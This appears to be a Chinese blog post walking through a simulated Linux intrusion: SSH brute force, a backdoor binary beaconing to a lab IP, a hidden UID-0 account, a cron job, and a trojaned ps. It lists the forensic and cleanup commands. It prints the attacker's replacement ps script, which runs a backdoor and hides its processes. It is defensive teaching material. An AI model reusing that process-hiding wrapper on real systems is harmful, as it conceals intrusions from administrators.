目录

  • Linux-暴力破解、替换ps命令并留存后门事件复现
    • 一、事件背景
    • 二、应急响应过程
      • 排查crontab后门
      • 排查是否有命令被替换
      • 响应过程回顾
    • 三、事件还原
      • 查看后门
      • 排查安全日志

Linux-暴力破解、替换ps命令并留存后门事件复现


一、事件背景

服务器疑似被入侵,与恶意IP进行通信(恶意IP用192.168.1.132代替)

受害服务器: Centos7系统 IP: 192.168.8.158(无WEB服务)


二、应急响应过程

排查网络连接

  • 查看服务器的网络连接,发现服务器192.168.8.158一直与恶意IP:192.168.1.132的6666端口连接,并且程序名为:.shell.elf

  • netstat -anpt

  • 根据PID号查找程序位置: /root/.shell.elf

  • lsof -p 9560

  • 查看 .shell.elf 文件的创建时间为:2022-09-05 18:00:06

  • stat .shell.elf

  • 之后将 .shell.elf 文件放在微步上检测发现,是后门文件

  • 记得关闭本机电脑的实时防护

  • 微步云沙箱


排查历史命令

  • 利用history查看是否有黑客执行的命令

  • 在 root账户下排查是否有黑客执行的命令

  • cd /root

  • cat .bash_history


排查后门账户

  • 查看当前登录系统的用户

  • who

  • 192.168.8.1是我用xshell进行了链接

  • 查看特权账户

  • awk -F: '$3==0 {print$1}' /etc/passwd

  • 发现有两个特权账户:root、hyf,与客户沟通后确定hyf是黑客创建

  • 再次查看可以远程登录的帐号信息

  • 又有hyf,确定了 hyf 是黑客的后门账户

  • 接下来查看用户最近登录情况

  • 发现 hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132 因为是模拟,没有公网地址,所以假设它是恶意IP)


排查crontab后门

  • 查看服务器的定时任务
  • cd /var/spool/cron
  • cat root
  • 发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件

排查是否有命令被替换

  • 检查命令文件是否被替换
  • rpm -Vf /usr/bin/*
  • rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#M 关键字代表文件的权限发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化
  • 执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改
  • 查看ps命令内容
  • cd /usr/bin/
  • ll -a ps
  • cat ps
  • 查看ps文件内容发现被修改了
#!/bin/bash
/.centos_core.elf & /.hide_command/ps -aux | grep -v "shell" | grep -v "centos_core" | grep -v "bash" | grep -v "/.hide_command"

每次执行ps命令都会执行/.centos_core.elf文件、/.hide_command/ps文件
grep -v的意思是只打印没有匹配的,而匹配的不打印,相当于隐藏shell、centos_core、bash、/.hide_command" 等异常文件信息

  • 查看/.centos_core.elf文件创建时间为:2022-09-06 14:38:00

  • 将 .centos_core.elf 文件放在微步云沙箱检测是后门文件

  • 而 /.hide_command/ps 文件为正常的ps文件

    总结: 存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /.centos_core.elf 后门文件就会被执行一次


响应过程回顾

  • 1、找到后门文件 :/root/.shell.elf 、/.centos_core.elf
  • 2、找到后门账户:hyf
  • 3、找到恶意定时任务
  • 4、ps命令被替留ps命令后门

清除后门文件

  • rm -rf /root/.shell.elf
  • rm -rf /.centos_core.elf

将ps命令删除再将 .hide_command/ps 恢复

  • rm -rf /usr/bin/ps
  • mv /.hide_command/ps /usr/bin/ps

另一种方法文件提取还原案例:

  • rpm -qf /bin/ps 查询 ps 命令属于哪个软件包
  • mv /bin/ps /tmp 先把 ps 转移到 tmp 目录下,造成 ps 命令丢失的假象
  • df 查看光盘挂载位置
  • rpm2cpio /run/media/root/CentOS\ 7\ x86_64/Packages/procps-ng-3.3.10-23.el7.x86_64.rpm | cpio -idv ./usr/bin/ps 提取 rpm 包中 ps 命令到当前目录的 /usr/bin/ps 下
  • cp ./usr/bin/ps /bin/ 把 ps 命令复制到 /bin/ 目录 修复文件丢失

删除后门账户

  • vim /etc/passwdvim编辑passwd文件,按dd删除 hyf 那一行,之后保存并退出


三、事件还原

查看后门

  • 查看 /root/.shell.elf 文件的创建时间为:2022-09-05 18:00:06
  • stat /root/.shell.elf
  • 查看 定时任务 /var/spool/cron/root 文件的创建时间为:2022-09-06 14:48:08
  • stat /var/spool/cron/root
  • 查看/.centos_core.elf文件创建时间为:22022-09-06 14:38:00
  • stat /.centos_core.elf
  • 查看 ps 命令文件修改时间为:2022-09-06 14:43:31
  • stat /usr/bin/ps

    总结: 植入后门的顺序为: .shell.elf 后门、/.centos_core.elf后门、ps命令替换后门、定时任务

排查安全日志

  • 查看secure日志,发现爆破的时间范围是 9.6 14:31:39——14:33:11

  • 查看爆破的次数、攻击IP、破的用户名

  • grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

  • 查询被爆破的用户名都有哪些

  • grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

  • 爆破用户名字典是什么

  • grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

  • 查看用户最近登录情况

  • grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

发现 root 账户在9月6 日 14:33:09 登录了该服务器,在爆破的时间范围内(14:31:39——14:33:11) hyf 账户在 9月6 日 16:10:36 登录了该服务器(其中IP地址 192.168.1.132因为是模拟,没有公网地址,所以假设它是恶意IP)

事件总结

黑客在9月6日14:31:39——14:33:11对服务器进行爆破,且在 14:33:09成功爆破出root账户密码并且进行登录,登录之后在9月6日14:37:22 植入了 .shell.elf 后门(根据成功爆破出root账户的时间可知 9月5日18:00:06 为 .shell.elf后门的创建时间,并非植入时间)、在14:38:00 植入了 /.centos_core.elf 后门、在 14:43:31 植入了ps命令后门、在 14:48:08写了恶意定时任务,恶意IP为192.168.1.132

Linux服务器被入侵后的排查思路(应急响应思路)相关推荐

  1. Linux服务器被入侵之后的处理方法

    安全事件处理流程 如上图,将服务器安全应急响应流程分为如下 8 个环节: 发现安全事件(核实)-现场保护–服务器保护-影响范围评估-在线分析-数据备份-深入分析----事件报告整理 各阶段说明 核实信 ...

  2. Linux 主机被入侵后的处理案例

    Linux主机被入侵后的处理案例 提交 我的留言 加载中 已留言 一次Linux被入侵后的分析 下面通过一个案例介绍下当一个服务器被rootkit入侵后的处理思路和处理过程,rootkit攻击是Lin ...

  3. 修改服务器ip 需要重启,linux服务器设置ip后需要重启吗

    linux服务器设置ip后需要重启吗 内容精选 换一换 切换操作系统是为您的弹性云服务器重新切换一个系统盘.切换完成后弹性云服务器的系统盘ID会发生改变,并删除原有系统盘.如果弹性云服务器当前使用的操 ...

  4. linux服务器中病毒后的清除处理

    linux服务器中病毒后的清除处理 之前看到公司同事在部署服务器的时候,发现中了挖矿病毒,很是恼火.因为我平时很少接触服务器,一般都是部署项目,配置域名就完事.所以遇到这种情况,只能在一旁看着干着急. ...

  5. Linux 服务器更换主板后,网卡识别失败的处理方法

    上周日,由于断电,公司所在的集群服务器在关机断电重启后,发现唯一的一个登陆节点主板出现了故障,以致于 log 登陆节点的 Red Hat Enterprise 6 系统无法启动. 由于集群是生信所有分 ...

  6. linux服务器出现黄,linux服务器出现严重故障后的原因以及解决方法

    linux服务器出现严重故障后的原因以及解决方法 发布时间:2011-11-24 16:32:18   作者:佚名   我要评论 linux服务器出现严重故障后的解决方法,本文为大家介绍四个步骤解决l ...

  7. Windows系统入侵排查与应急响应技术

    文章目录 前言 入侵排查 系统账户排查 进程端口排查 启动项的排查 计划服务排查 系统信息排查 日志信息排查 应急工具 总结 前言 前面一篇文章:浅析Linux系统入侵排查与应急响应技术 介绍了 Li ...

  8. 服务器的安全基线、加固及应急响应总结

    Windows安全基线及加固(例子为win server 2008): 1.身份鉴别 1)更改缺省账号:对于管理员帐号,要求更改缺省 Administrator 帐户名称 2)禁用guest账号 3) ...

  9. Linux服务器CPU使用率过高排查与解决思路

    日常工作中有时候会遇到Linux服务器上出现CPU负载过高的情况,影响程序的运行,一般的排除思路如下: 方法一: 使用top命令 然后按shift+p按照CPU排序,找到占用CPU过高的进程的pid ...

最新文章

  1. 安装没有在R包仓库CRAN上托管的R包
  2. SIFT原理与源码分析:DoG尺度空间构造
  3. 【数据结构】线性表的链式存储-双链表
  4. C++11 lambda表达式、function类模板、bind函数适配器
  5. Web For Pentester -- File Upload
  6. mysql如何逻辑删除_mysql逻辑删除如何恢复
  7. 基于电商消费行为金融用户的数据梳理
  8. SVN Error: Unreadable path encountered; access denied;
  9. sybase相关的知识
  10. 计算机系统结构 02325_计算机系统的组成硬件系统1
  11. linux子进程杀不掉怎么办,LINUX KILL -9 杀不掉,求解决方法
  12. heeds matlab,Ricardo IGNITE下载-整车性能仿真分析软件Ricardo IGNITE下载v2018.1 最新版-西西软件下载...
  13. python(八) python 面向对象中的类(class)
  14. Data requirement
  15. R语言 image.binarization: 包_想提高文章的引用率?写个R包吧!- 工具准备篇
  16. 【理财入门一】三大资产与财务自由
  17. linux 定位 踩内存_记录一次用户态踩内存问题
  18. C语言篇 - (1)初识C语言 - (1)什么是C语言
  19. 熬之滴水穿石:JAVA的世界(2)
  20. Java下载安装及配置

热门文章

  1. 来自男装的“制服诱惑”,这波设计够酷
  2. java 创建、删除文件夹
  3. JS获取当前时间(年月日时分秒)
  4. Vue中slot插槽的使用
  5. 今日毕业以及学习和工作的感想
  6. 隐藏jQuery Dialog的关闭图标
  7. mysql事务隔离级别及实现原理
  8. 荣耀V20改变的通讯规则:告别一个时代,迎来了一个时代
  9. Thread 的join方法解释
  10. linux 安装qt 及相关环境配置